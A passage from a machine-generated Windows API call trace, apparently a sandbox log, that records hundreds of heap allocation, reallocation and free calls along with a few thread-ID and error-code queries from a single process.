(HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3c80 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3c98 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3d10 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3cb0 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3bc0 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3db8 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3cf8 [0073.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3cc8 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3d40 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3d58 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3e48 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3d70 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3e30 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3e60 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3bd8 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3ef0 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3e78 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3f08 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3f20 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3ec0 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3e90 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3ea8 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3ed8 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3008 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3248 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3050 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc31e8 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3128 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3140 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc2fc0 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3158 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3068 [0073.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3260 [0073.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3110 [0073.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3230 [0073.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc2f78 [0073.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc2f90 [0073.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc2fa8 [0073.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3020 [0073.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc30f8 [0073.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3170 [0073.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc2fd8 [0073.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3188 [0073.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc30e0 [0073.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3038 [0073.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc2ff0 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc31a0 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc31b8 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3080 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3098 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc31d0 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc30b0 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc30c8 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3200 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3218 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc33b0 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3398 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3428 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3458 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc32c0 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc33e0 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc33f8 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3488 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3380 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3368 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3410 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3548 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3560 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3518 [0073.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc32d8 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3440 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc33c8 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc34e8 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3470 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc32f0 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc34a0 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc34b8 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc34d0 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3500 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3278 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3320 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3308 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3290 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3338 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3530 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc32a8 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3350 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3608 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3650 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc37d0 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3680 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3728 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc35a8 [0073.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc37e8 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc35f0 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc36e0 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3800 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3710 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3860 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3818 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3740 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3830 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3758 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3620 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3848 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3578 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3638 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3590 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc35c0 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3668 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3698 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc36f8 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc35d8 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc36b0 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc36c8 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3770 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc37a0 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc3788 [0073.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc37b8 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc46d0 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc47c0 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc46a0 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4700 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4748 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc47d8 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4760 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4868 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc46e8 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4718 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4730 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc45f8 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4610 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4790 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4778 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc47a8 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc45e0 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc47f0 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4808 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4628 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4640 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4820 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4838 [0073.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4850 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4580 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4598 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc45b0 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc45c8 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4658 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4670 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4688 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc46b8 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc49d0 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc48e0 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4970 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4a60 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc48f8 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4af0 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4940 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4aa8 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4a78 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4958 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc48b0 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4a00 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4ac0 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4b68 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc48c8 [0073.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4a90 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4ad8 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4988 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4a48 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4910 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4b08 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc49e8 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4b20 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4a18 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4b38 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4898 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4928 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc49b8 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4b50 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4880 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc49a0 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4a30 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4c28 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4df0 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4d00 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4bc8 [0073.773] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bc2b30, Size=0x800) returned 0x2bc4f48 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4cd0 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4e38 [0073.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bc4bf8 [0073.774] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bc4f48, Size=0x1000) returned 0x2bc8760 [0073.774] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bc8760, Size=0x2000) returned 0x2c7d2c0 [0073.774] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8aed0, Size=0x14) returned 0x2a716e0 [0073.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b040 | out: hHeap=0x2ad0000) returned 1 [0073.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7be00 | out: hHeap=0x2ad0000) returned 1 [0073.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bc38 | out: hHeap=0x2ad0000) returned 1 [0073.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0073.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acc480 | out: hHeap=0x2ad0000) returned 1 [0073.775] GetLastError () returned 0x0 [0073.775] CloseHandle (hObject=0x1e8) returned 1 [0073.775] GetLastError () returned 0x0 [0073.775] GetCurrentThreadId () returned 0x9b0 [0073.776] GetLastError () returned 0x0 [0073.776] GetCurrentThreadId () returned 0x9b0 [0073.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8420 | out: hHeap=0x2ad0000) returned 1 [0073.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7ea8 | out: hHeap=0x2ad0000) returned 1 [0073.776] GetCurrentThreadId () returned 0x9b0 [0073.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x2a86ac0 [0073.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x200) returned 0x2c317e8 [0073.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a86ac0 | out: hHeap=0x2ad0000) returned 1 [0073.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c32118 | out: hHeap=0x2ad0000) returned 1 [0073.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71660 [0073.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x60) returned 0x2c2e528 [0073.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2e528 | out: hHeap=0x2ad0000) returned 1 [0073.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0073.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x64) returned 0x2a19578 [0073.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0073.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0073.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0073.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x74) returned 0x2a86ac0 [0073.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a86ac0 | out: hHeap=0x2ad0000) returned 1 [0073.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0073.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c14cc8 [0073.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb390 | out: hHeap=0x2ad0000) returned 1 [0073.777] GetCurrentThreadId () returned 0x9b0 [0073.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71660 [0073.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x74) returned 0x2a86ac0 [0073.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a86ac0 | out: hHeap=0x2ad0000) returned 1 [0073.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0073.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xdc) returned 0x2c32118 [0073.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c32118 | out: hHeap=0x2ad0000) returned 1 [0073.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0073.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0073.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xdc) returned 0x2c32118 [0073.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c32118 | out: hHeap=0x2ad0000) returned 1 [0073.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0073.777] GetCurrentThreadId () returned 0x9b0 [0073.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7818 [0073.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7818 | out: hHeap=0x2ad0000) returned 1 [0073.777] GetCurrentThreadId () returned 0x9b0 [0073.777] GetCurrentThreadId () returned 0x9b0 [0073.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbdc70 | out: hHeap=0x2ad0000) returned 1 [0073.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7070 | out: hHeap=0x2ad0000) returned 1 [0073.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba72a0 | out: hHeap=0x2ad0000) returned 1 [0073.778] GetCurrentThreadId () returned 0x9b0 [0073.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c12ea0 [0073.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbcd98 | out: hHeap=0x2ad0000) returned 1 [0073.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x64) returned 0x2a198f8 [0073.778] GetLastError () returned 0x0 [0073.778] GetLastError () returned 0x0 [0073.779] GetLastError () returned 0x0 [0073.779] GetLastError () returned 0x0 [0073.779] GetLastError () returned 0x0 [0073.779] GetLastError () returned 0x0 [0073.779] GetLastError () returned 0x0 [0073.779] GetLastError () returned 0x0 [0073.779] GetCurrentThreadId () returned 0x9b0 [0073.780] GetLastError () returned 0x0 [0073.780] GetLastError () returned 0x0 [0073.780] GetLastError () returned 0x0 [0073.780] GetCurrentThreadId () returned 0x9b0 